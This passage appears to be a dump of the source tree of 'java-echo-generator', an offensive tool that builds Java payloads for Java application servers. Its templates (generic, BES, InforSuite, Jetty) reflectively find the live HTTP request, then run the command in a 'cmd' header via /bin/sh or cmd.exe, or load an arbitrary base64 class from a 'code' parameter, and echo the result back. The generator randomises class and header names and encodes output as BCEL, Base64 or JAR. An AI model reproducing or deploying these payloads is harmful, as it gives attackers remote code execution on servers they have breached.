{\n return classBytes;\n }\n\n public int getClassBytesLength() {\n return classBytesLength;\n }\n\n public String getLoaderClassName() {\n return loaderClassName;\n }\n\n public String getGadgetType() {\n return gadgetType;\n }\n\n public void build() {\n // 检查 serverType、modelType、formatType 是否已设置\n if (this.modelType == null || this.serverType == null || this.formatType == null) {\n throw new IllegalStateException(\"serverType、modelType and formatType must be set.\");\n }\n // 可选参数，默认随机\n if (this.getOutputDir() == null || Objects.equals(this.getOutputDir(), \"\")) setOutputDir(System.getProperty(\"user.dir\"));\n if (this.getClassName() == null || Objects.equals(this.getClassName(), \"\")) setClassName(ClassUtil.getRandomClassName());\n if (this.getReqHeaderName() == null || Objects.equals(this.getReqHeaderName(), \"\")) setReqHeaderName(HeaderUtil.genHeaderName(jEGConstants.headerKeys));\n if (this.getReqParamName() == null || Objects.equals(this.getReqParamName(), \"\")) setReqParamName(RandomUtil.genRandomLengthString(4));\n if (this.getGadgetType() == null) setGadgetType(Constants.GADGET_NONE);\n }\n}" }, { "path": "jeg-core/src/main/java/jeg/core/config/jEGConstants.java", "content": "package jeg.core.config;\n\nimport jeg.common.config.Constants;\n\npublic interface jEGConstants extends Constants {\n\n String JEG_NAME = \"java-echo-generator\";\n String JEG_VERSION = \"v1.0.0\";\n String JEG_AUTHOR = \"pen4uin\";\n String JEG_DESCRIPTION = \"Java 回显载荷生成器\";\n\n String[] headerKeys = {\"Accept-\",\"Content-\",\"Cache-Control-\",\"Transfer-\",\"Last-Modified-\",\"Etag-\"};\n\n String MODEL_CODE = \"Code\";\n String MODEL_CMD = \"Command\";\n}" }, { "path": "jeg-core/src/main/java/jeg/core/jEGenerator.java", "content": "package jeg.core;\n\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\nimport jeg.common.config.Constants;\nimport jeg.common.format.*;\nimport jeg.common.util.*;\nimport jeg.core.config.jEGConfig;\nimport jeg.core.config.jEGConstants;\nimport jeg.core.util.TemplateUtil;\nimport java.io.File;\nimport java.io.IOException;\n\npublic class jEGenerator {\n private final static ClassPool pool = ClassPool.getDefault();\n\n private final jEGConfig config;\n private byte[] clazzBytes;\n\n\n public jEGenerator(jEGConfig config) throws Throwable {\n this.config = config;\n this.genPayload();\n this.formatPayload();\n }\n\n private void genPayload() throws Exception {\n CtClass ctClass;\n pool.insertClassPath(new ClassClassPath(jEGenerator.class));\n\n String className = TemplateUtil.getEchoTplClassName(config.getServerType(), config.getModelType());\n ctClass = pool.getCtClass(className);\n\n ctClass.getClassFile().setVersionToJava5();\n\n try {\n if (config.getReqHeaderName() != null && config.getModelType().equals(jEGConstants.MODEL_CMD)) {\n JavassistUtil.addMethod(ctClass, \"getReqHeaderName\", String.format(\"{return \\\"%s\\\";}\", config.getReqHeaderName()));\n }\n if (config.getReqParamName() != null && config.getModelType().equals(jEGConstants.MODEL_CODE)) {\n JavassistUtil.addMethod(ctClass, \"getReqParamName\", String.format(\"{return \\\"%s\\\";}\", config.getReqParamName()));\n }\n ctClass.setName(config.getClassName());\n } catch (Exception e) {\n e.printStackTrace();\n\n }\n JavassistUtil.removeSourceFileAttribute(ctClass);\n clazzBytes = new GadgetUtil(config, pool, ctClass).modify();\n config.setClassBytesLength(clazzBytes.length);\n config.setClassBytesInFormatter(clazzBytes);\n config.setClassNameInFormatter(config.getClassName());\n ctClass.detach();\n }\n\n\n private void formatPayload() throws Throwable {\n if (config.getFormatType().contains(jEGConstants.FORMAT_BCEL)) {\n clazzBytes = new BCELFormatter().transform(clazzBytes, config);\n } else if (config.getFormatType().contains(jEGConstants.FORMAT_JAR)) {\n clazzBytes = new JARFormatter().transform(clazzBytes, config);\n } else if (config.getFormatType().contains(jEGConstants.FORMAT_BASE64)) {\n clazzBytes = new BASE64Formatter().transform(clazzBytes, config);\n } else if (config.getFormatType().contains(jEGConstants.FORMAT_BIGINTEGER)) {\n clazzBytes = new BigIntegerFormatter().transform(clazzBytes, config);\n } else if (config.getFormatType().contains(jEGConstants.FORMAT_JS)) {\n clazzBytes = new JavaScriptFormatter().transform(clazzBytes, config);\n }\n }\n\n public String getPayload() throws IOException {\n\n String outputDir = config.getOutputDir();\n String file_output_path = outputDir;\n if (!file_output_path.endsWith(File.separator)) file_output_path = file_output_path + File.separator;\n File dir = new File(outputDir);\n if (!dir.exists() || !dir.isDirectory()) {\n dir.mkdirs();\n }\n\n // 判断输出格式\n switch (config.getFormatType()) {\n case Constants.FORMAT_CLASS:\n file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + \".class\";\n break;\n case Constants.FORMAT_JAR:\n file_output_path = file_output_path + ClassUtil.getSimpleName(config.getClassName()) + \".jar\";\n break;\n case Constants.FORMAT_BIGINTEGER:\n case Constants.FORMAT_JS:\n case Constants.FORMAT_BASE64:\n case Constants.FORMAT_BCEL:\n return new String(clazzBytes);\n default:\n break;\n }\n FileUtil.writeFile(file_output_path, clazzBytes);\n return file_output_path;\n }\n\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/all/DFSCmdExecTpl.java", "content": "package jeg.core.template.all;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.HashSet;\nimport java.util.Scanner;\n\npublic class DFSCmdExecTpl {\n\tstatic {\n\t\ttry {\n\t\t\tnew DFSCmdExecTpl();\n\t\t} catch (Exception e) {\n\t\t}\n\t}\n\n\tstatic HashSet h;\n\tstatic ClassLoader cl = Thread.currentThread().getContextClassLoader();\n\tstatic Class hsr;//HTTPServletRequest.class\n\tstatic Class hsp;//HTTPServletResponse.class\n\tstatic String cmd;\n\tstatic Object r;\n\tstatic Object p;\n\n\tpublic DFSCmdExecTpl() {\n\t\tr = null;\n\t\tp = null;\n\t\th =new HashSet();\n\t\ttry {\n\t\t\thsr = cl.loadClass(\"javax.servlet.http.HttpServletRequest\");\n\t\t\thsp = cl.loadClass(\"javax.servlet.http.HttpServletResponse\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\tF(Thread.currentThread(),0);\n\t}\n\n\tprivate static String getReqHeaderName() {\n\t\treturn \"cmd\";\n\t}\n\n\tprivate static boolean i(Object obj){\n\t\tif(obj==null|| h.contains(obj)){\n\t\t\treturn true;\n\t\t}\n\n\t\th.add(obj);\n\t\treturn false;\n\t}\n\tprivate static void p(Object o, int depth){\n\t\tif(depth > 52||(r !=null&& p !=null)){\n\t\t\treturn;\n\t\t}\n\t\tif(!i(o)){\n\t\t\tif(r ==null&&hsr.isAssignableFrom(o.getClass())){\n\t\t\t\tr = o;\n\t\t\t\t//Tomcat特殊处理\n\t\t\t\ttry {\n\t\t\t\t\tcmd = (String)hsr.getMethod(\"getHeader\",new Class[]{String.class}).invoke(o,getReqHeaderName());\n\t\t\t\t\tif(cmd==null) {\n\t\t\t\t\t\tr = null;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//System.out.println(\"find Request\");\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tMethod getResponse = r.getClass().getMethod(\"getResponse\");\n\t\t\t\t\t\t\tp = getResponse.invoke(r);\n\t\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t\t//System.out.println(\"getResponse Error\");\n\t\t\t\t\t\t\tr=null;\n\t\t\t\t\t\t\t//e.printStackTrace();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch (IllegalAccessException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (InvocationTargetException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (NoSuchMethodException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\n\t\t\t}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){\n\t\t\t\tp = o;\n\n\n\t\t\t}\n\t\t\tif(r !=null&& p !=null){\n\t\t\t\ttry {\n\t\t\t\t\tPrintWriter pw = (PrintWriter)hsp.getMethod(\"getWriter\").invoke(p);\n\t\t\t\t\tpw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next());\n\t\t\t\t\tpw.flush();\n\t\t\t\t\tpw.close();\n\t\t\t\t\t//p.addHeader(\"out\",new Scanner(Runtime.getRuntime().exec(r.getHeader(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next());\n\t\t\t\t}catch (Exception e){\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tF(o,depth+1);\n\t\t}\n\t}\n\tprivate static void F(Object start, int depth){\n\n\t\tClass n=start.getClass();\n\t\tdo{\n\t\t\tfor (Field declaredField : n.getDeclaredFields()) {\n\t\t\t\tdeclaredField.setAccessible(true);\n\t\t\t\tObject o = null;\n\t\t\t\ttry{\n\t\t\t\t\to = declaredField.get(start);\n\n\t\t\t\t\tif(!o.getClass().isArray()){\n\t\t\t\t\t\tp(o,depth);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tfor (Object q : (Object[]) o) {\n\t\t\t\t\t\t\tp(q, depth);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}catch (Exception e){\n\t\t\t\t}\n\t\t\t}\n\n\t\t}while(\n\t\t\t\t(n = n.getSuperclass())!=null\n\t\t);\n\t}\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/all/DFSCodeExecTpl.java", "content": "package jeg.core.template.all;\n\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.HashSet;\nimport java.util.Scanner;\n\npublic class DFSCodeExecTpl {\n\tstatic {\n\t\ttry {\n\t\t\tnew DFSCodeExecTpl();\n\t\t} catch (Exception e) {\n\t\t}\n\t}\n\n\tstatic HashSet h;\n\tstatic ClassLoader cl = Thread.currentThread().getContextClassLoader();\n\tstatic Class hsr;//HTTPServletRequest.class\n\tstatic Class hsp;//HTTPServletResponse.class\n\tstatic String code;\n\tstatic Object r;\n\tstatic Object p;\n\n\tpublic DFSCodeExecTpl() {\n\t\tr = null;\n\t\tp = null;\n\t\th =new HashSet();\n\t\ttry {\n\t\t\thsr = cl.loadClass(\"javax.servlet.http.HttpServletRequest\");\n\t\t\thsp = cl.loadClass(\"javax.servlet.http.HttpServletResponse\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t\tF(Thread.currentThread(),0);\n\t}\n\n\tprivate static String getReqParamName() {\n\t\treturn \"code\";\n\t}\n\n\tprivate static boolean i(Object obj){\n\t\tif(obj==null|| h.contains(obj)){\n\t\t\treturn true;\n\t\t}\n\n\t\th.add(obj);\n\t\treturn false;\n\t}\n\tprivate static void p(Object o, int depth){\n\t\tif(depth > 52||(r !=null&& p !=null)){\n\t\t\treturn;\n\t\t}\n\t\tif(!i(o)){\n\t\t\tif(r ==null&&hsr.isAssignableFrom(o.getClass())){\n\t\t\t\tr = o;\n\t\t\t\t//Tomcat特殊处理\n\t\t\t\ttry {\n\t\t\t\t\tcode = (String)hsr.getMethod(\"getParameter\",new Class[]{String.class}).invoke(o,getReqParamName());\n\t\t\t\t\tif(code==null) {\n\t\t\t\t\t\tr = null;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//System.out.println(\"find Request\");\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tMethod getResponse = r.getClass().getMethod(\"getResponse\");\n\t\t\t\t\t\t\tp = getResponse.invoke(r);\n\t\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t\t//System.out.println(\"getResponse Error\");\n\t\t\t\t\t\t\tr=null;\n\t\t\t\t\t\t\t//e.printStackTrace();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch (IllegalAccessException | InvocationTargetException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (NoSuchMethodException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\n\t\t\t}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){\n\t\t\t\tp = o;\n\n\n\t\t\t}\n\t\t\tif(r !=null&& p !=null){\n\t\t\t\ttry {\n\t\t\t\t\tPrintWriter pw = (PrintWriter)hsp.getMethod(\"getWriter\").invoke(p);\n\t\t\t\t\tpw.println(exec(code));\n\t\t\t\t\tpw.flush();\n\t\t\t\t\tpw.close();\n\t\t\t\t\t//p.addHeader(\"out\",new Scanner(Runtime.getRuntime().exec(r.getHeader(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next());\n\t\t\t\t}catch (Exception e){\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tF(o,depth+1);\n\t\t}\n\t}\n\n\tprivate static String exec(String var2) {\n\t\ttry {\n\t\t\tbyte[] clazzByte = base64Decode(var2);\n\t\t\tMethod defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n\t\t\tdefineClass.setAccessible(true);\n\t\t\tClass clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n\t\t\treturn clazz.newInstance().toString();\n\t\t} catch (Exception e) {\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\n\tprivate static byte[] base64Decode(String str) throws Exception {\n\t\ttry {\n\t\t\tClass clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n\t\t\treturn (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n\t\t} catch (Exception var4) {\n\t\t\tClass clazz = Class.forName(\"java.util.Base64\");\n\t\t\tObject decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n\t\t\treturn (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n\t\t}\n\t}\n\n\tprivate static void F(Object start, int depth){\n\n\t\tClass n=start.getClass();\n\t\tdo{\n\t\t\tfor (Field declaredField : n.getDeclaredFields()) {\n\t\t\t\tdeclaredField.setAccessible(true);\n\t\t\t\tObject o = null;\n\t\t\t\ttry{\n\t\t\t\t\to = declaredField.get(start);\n\n\t\t\t\t\tif(!o.getClass().isArray()){\n\t\t\t\t\t\tp(o,depth);\n\t\t\t\t\t}else{\n\t\t\t\t\t\tfor (Object q : (Object[]) o) {\n\t\t\t\t\t\t\tp(q, depth);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}catch (Exception e){\n\t\t\t\t}\n\t\t\t}\n\n\t\t}while(\n\t\t\t\t(n = n.getSuperclass())!=null\n\t\t);\n\t}\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/bes/BESCmdExecTpl.java", "content": "package jeg.core.template.bes;\n\nimport jeg.core.template.jetty.JettyCmdExecTpl;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Scanner;\nimport java.util.Set;\n\npublic class BESCmdExecTpl {\n static {\n try {\n new BESCmdExecTpl();\n } catch (Exception e) {\n }\n }\n\n private static String getReqHeaderName() {\n return \"cmd\";\n }\n\n public BESCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"org.apache.tomcat.util.threads.TaskThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"org.apache.catalina.connector.Request\")) {\n try {\n // 从 request header 获取参数\n String cmd = (String) value.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});\n if (cmd != null) {\n Object response = value.getClass().getMethod(\"getResponse\", new Class[0]).invoke(value);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(executeCommand(cmd));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n\n // 执行模块\n public static String executeCommand(String cmd) {\n if (cmd == null) {\n return \"command is null\";\n }\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n if (execRes.isEmpty()) {\n return String.format(\"code exec successfully, command:%s fails. The command may not exist!\\n\", cmd);\n }\n return execRes;\n } catch (Exception e) {\n return String.format( e.getMessage());\n }\n }\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/bes/BESCodeExecTpl.java", "content": "package jeg.core.template.bes;\n\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\npublic class BESCodeExecTpl {\n static {\n try {\n new BESCodeExecTpl();\n } catch (Exception e) {\n }\n }\n\n private static String getReqParamName() {\n return \"code\";\n }\n\n public BESCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"org.apache.tomcat.util.threads.TaskThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"org.apache.catalina.connector.Request\")) {\n try {\n // 从 request body 获取参数\n String code = (String) value.getClass().getMethod(\"getParameter\", String.class).invoke(value, getReqParamName());\n if (code != null) {\n Object response = value.getClass().getMethod(\"getResponse\", new Class[0]).invoke(value);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(defineClazz(code));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n\n private static String defineClazz(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private static byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCmdExecTpl.java", "content": "package jeg.core.template.inforsuite;\n\nimport jeg.core.template.bes.BESCmdExecTpl;\n\nimport java.io.InputStream;\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Scanner;\nimport java.util.Set;\n\npublic class InforSuiteCmdExecTpl {\n static {\n try {\n new InforSuiteCmdExecTpl();\n } catch (Exception e) {\n }\n }\n private static String getReqHeaderName() {\n return \"cmd\";\n }\n\n public InforSuiteCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"com.sun.grizzly.http.HttpWorkerThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest\")) {\n try {\n // 从 request header 获取参数\n String cmd = (String) value.getClass().getSuperclass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});\n if (cmd != null) {\n Object response = value.getClass().getSuperclass().getMethod(\"getResponse\", new Class[0]).invoke(value);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(executeCommand(cmd));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n // 执行模块\n public static String executeCommand(String cmd) {\n if (cmd == null) {\n return \"command is null\";\n }\n try {\n boolean isLinux = true;\n String osType = System.getProperty(\"os.name\");\n if (osType != null && osType.toLowerCase().contains(\"win\")) {\n isLinux = false;\n }\n String[] cmds = isLinux ? new String[]{\"/bin/sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};\n InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n Scanner s = new Scanner(in).useDelimiter(\"\\\\a\");\n String execRes = \"\";\n while (s.hasNext()) {\n execRes += s.next();\n }\n if (execRes.isEmpty()) {\n return String.format(\"code exec successfully, command:%s fails. The command may not exist!\\n\", cmd);\n }\n return execRes;\n } catch (Exception e) {\n return String.format(e.getMessage());\n }\n }\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/inforsuite/InforSuiteCodeExecTpl.java", "content": "package jeg.core.template.inforsuite;\n\nimport java.io.Writer;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\npublic class InforSuiteCodeExecTpl {\n static {\n try {\n new InforSuiteCodeExecTpl();\n } catch (Exception e) {\n }\n }\n private static String getReqParamName() {\n return \"code\";\n }\n\n public InforSuiteCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {\n run();\n }\n\n public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {\n Set threadSet = Thread.getAllStackTraces().keySet();\n List taskThreadList = new ArrayList();\n for (Thread thread : threadSet) {\n if (thread.getClass().getName().contains(\"com.sun.grizzly.http.HttpWorkerThread\")) {\n // 将目标对象添加到列表中\n taskThreadList.add(thread);\n }\n }\n List tables = new ArrayList();\n for (Thread thread : taskThreadList) {\n try {\n Field threadLocalsField = Thread.class.getDeclaredField(\"threadLocals\");\n threadLocalsField.setAccessible(true);\n Object localMap = threadLocalsField.get(thread);\n Class threadLocalMapClass = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMapClass.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(localMap);\n tables.add(table);\n } catch (Exception e) {\n continue;\n }\n }\n\n List values = new ArrayList();\n for (Object table : tables) {\n // 遍历 table 中的项\n try {\n if (table != null && table.getClass().isArray()) {\n int length = Array.getLength(table);\n for (int i = 0; i < length; i++) {\n Object entry = Array.get(table, i);\n if (entry != null) {\n // 获取 entry 的 value 字段\n try {\n Field valueField = entry.getClass().getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object value = valueField.get(entry);\n values.add(value);\n } catch (Exception e) {\n }\n }\n }\n }\n } catch (Exception e) {\n }\n\n }\n\n for (Object value : values) {\n if (value != null && value.getClass().getName().equals(\"com.sun.enterprise.web.pwc.connector.coyote.PwcCoyoteRequest\")) {\n try {\n // 从 request body 获取参数\n String code = (String) value.getClass().getSuperclass().getMethod(\"getParameter\", String.class).invoke(value, getReqParamName());\n if (code != null) {\n Object response = value.getClass().getSuperclass().getMethod(\"getResponse\", new Class[0]).invoke(value);\n Writer writer = (Writer) response.getClass().getMethod(\"getWriter\", new Class[0]).invoke(response, new Object[0]);\n writer.write(defineClazz(code));\n writer.flush();\n writer.close();\n break;\n }\n } catch (Exception ignored) {\n }\n }\n }\n }\n private static String defineClazz(String var2) {\n try {\n byte[] clazzByte = base64Decode(var2);\n Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n defineClass.setAccessible(true);\n Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);\n return clazz.newInstance().toString();\n } catch (Exception e) {\n return e.getMessage();\n }\n }\n\n private static byte[] base64Decode(String str) throws Exception {\n try {\n Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");\n return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);\n } catch (Exception var4) {\n Class clazz = Class.forName(\"java.util.Base64\");\n Object decoder = clazz.getMethod(\"getDecoder\").invoke((Object) null);\n return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);\n }\n }\n}" }, { "path": "jeg-core/src/main/java/jeg/core/template/jetty/JettyCmdExecTpl.java", "content": "package jeg.core.template.jetty;\n\nimport java.io.InputStream;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Field;\nimport java.util.Scanner;\n\npublic class JettyCmdExecTpl {\n static {\n try {\n new JettyCmdExecTpl();\n } catch (Exception e) {\n }\n }\n\n private String getReqHeaderName() {\n return \"cmd\";\n }\n\n\n public JettyCmdExecTpl() {\n run();\n }\n\n\n private void run() {\n try {\n Thread thread = Thread.currentThread();\n Field field = Class.forName(\"java.lang.Thread\").getDeclaredField(\"threadLocals\");\n field.setAccessible(true);\n Object threadLocals = field.get(thread);\n Class threadLocalMap = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap\");\n Field tableField = threadLocalMap.getDeclaredField(\"table\");\n tableField.setAccessible(true);\n Object table = tableField.get(threadLocals);\n\n Class entry = Class.forName(\"java.lang.ThreadLocal$ThreadLocalMap$Entry\");\n Field valueField = entry.getDeclaredField(\"value\");\n valueField.setAccessible(true);\n Object httpConnection = null;\n\n Object obj;\n for (int i = 0; i < Array.getLength(table); ++i) {\n obj = Array.get(table, i);\n if (obj != null) {\n httpConnection = valueField.get(obj);\n if (httpConnection != null && 